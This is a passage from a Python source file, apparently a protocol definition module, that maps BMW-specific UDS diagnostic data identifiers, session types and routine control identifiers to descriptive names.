UDS_RDBI.dataIdentifiers[0xfa02] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa03] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa04] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa05] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa06] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa07] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa08] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa09] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa0a] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa0b] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa0c] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa0d] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa0e] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa0f] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa10] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa11] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa12] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa13] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa14] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa15] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa16] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa17] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa18] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa19] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa1a] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa1b] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa1c] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa1d] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa1e] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa1f] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa20] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa21] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa22] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa23] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa24] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa25] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa26] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa27] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa28] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa29] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa2a] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa2b] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa2c] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa2d] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa2e] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa2f] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa30] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa31] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa32] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa33] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa34] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa35] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa36] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa37] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa38] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa39] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa3a] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa3b] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa3c] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa3d] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa3e] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa3f] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa40] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa41] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa42] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa43] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa44] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa45] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa46] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa47] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa48] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa49] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa4a] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa4b] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa4c] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa4d] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa4e] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa4f] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa50] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa51] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa52] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa53] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa54] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa55] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa56] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa57] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa58] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa59] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa5a] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa5b] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa5c] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa5d] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa5e] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa5f] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa60] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa61] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa62] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa63] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa64] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa65] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa66] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa67] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa68] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa69] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa6a] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa6b] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa6c] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa6d] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa6e] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa6f] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa70] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa71] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa72] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa73] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa74] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa75] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa76] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa77] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa78] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa79] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa7a] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa7b] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa7c] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa7d] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa7e] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa7f] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa80] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa81] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa82] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa83] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa84] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa85] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa86] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa87] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa88] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa89] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa8a] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa8b] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa8c] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa8d] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa8e] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa8f] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa90] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa91] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa92] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa93] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa94] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa95] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa96] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa97] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa98] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa99] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa9a] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa9b] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa9c] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa9d] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa9e] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfa9f] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaa0] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaa1] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaa2] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaa3] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaa4] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaa5] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaa6] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaa7] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaa8] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaa9] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaaa] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaab] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaac] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaad] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaae] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaaf] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfab0] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfab1] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfab2] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfab3] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfab4] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfab5] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfab6] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfab7] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfab8] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfab9] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaba] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfabb] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfabc] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfabd] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfabe] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfabf] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfac0] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfac1] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfac2] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfac3] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfac4] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfac5] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfac6] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfac7] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfac8] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfac9] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaca] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfacb] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfacc] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfacd] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xface] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfacf] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfad0] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfad1] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfad2] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfad3] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfad4] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfad5] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfad6] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfad7] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfad8] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfad9] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfada] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfadb] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfadc] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfadd] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfade] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfadf] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfae0] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfae1] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfae2] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfae3] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfae4] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfae5] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfae6] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfae7] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfae8] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfae9] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaea] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaeb] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaec] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaed] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaee] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaef] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf0] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf1] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf2] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf3] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf4] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf5] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf6] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf7] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf8] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf9] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfafa] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfafb] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfafc] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfafd] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfafe] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaff] = "safetySystemPIds_FA00_FAFF" UDS_DSC.diagnosticSessionTypes[0x81] = "defaultMode-StandardDiagnosticMode-OBDIIMode" # noqa E501 UDS_DSC.diagnosticSessionTypes[0x82] = "periodicTransmissions" UDS_DSC.diagnosticSessionTypes[0x83] = "BMW_NOTtoBeImplemented_endOfLineVehicleManufacturerMode" # noqa E501 UDS_DSC.diagnosticSessionTypes[0x84] = "endOfLineSystemSupplierMode" UDS_DSC.diagnosticSessionTypes[0x85] = "ECUProgrammingMode" UDS_DSC.diagnosticSessionTypes[0x86] = "ECUDevelopmentMode" UDS_DSC.diagnosticSessionTypes[0x87] = "ECUAdjustmentMode" UDS_DSC.diagnosticSessionTypes[0x88] = "ECUVariantCodingMode" UDS_DSC.diagnosticSessionTypes[0x89] = "BMW_ECUsafetyMode" UDS_IOCBI.dataIdentifiers = UDS_RDBI.dataIdentifiers UDS_RC.routineControlIdentifiers[0x0000] = "BMW_linearAddressRange" UDS_RC.routineControlIdentifiers[0x0001] = "BMW_ROM_EPROM_internal" UDS_RC.routineControlIdentifiers[0x0002] = "BMW_ROM_EPROM_external" UDS_RC.routineControlIdentifiers[0x0003] = "BMW_NVRAM_characteristicZones_DTCmemory" # noqa E501 UDS_RC.routineControlIdentifiers[0x0004] = "BMW_RAM_internal_shortMOV" UDS_RC.routineControlIdentifiers[0x0005] = "BMW_RAM_external_xDataMOV" UDS_RC.routineControlIdentifiers[0x0006] = "BMW_flashEPROM_internal" UDS_RC.routineControlIdentifiers[0x0007] = "BMW_UIFmemory" UDS_RC.routineControlIdentifiers[0x0008] = "BMW_vehicleOrderDataMemory" UDS_RC.routineControlIdentifiers[0x0009] = "BMW_flashEPROM_external" UDS_RC.routineControlIdentifiers[0x000b] = "BMW_RAM_internal_longMOVatRegister" UDS_RC.routineControlIdentifiers[0x0100] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0101] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0102] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0103] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0104] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0105] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0106] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0107] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0108] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0109] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0110] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0111] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0112] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0113] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0114] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0115] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0116] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0117] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0118] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0119] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0120] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0121] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0122] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0123] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0124] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0125] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0126] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0127] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0128] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0129] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0130] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0131] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0132] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0133] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0134] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0135] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0136] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0137] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0138] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0139] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0140] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0141] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0142] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0143] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0144] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0145] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0146] = "tachographTestIds_0100_01FF" 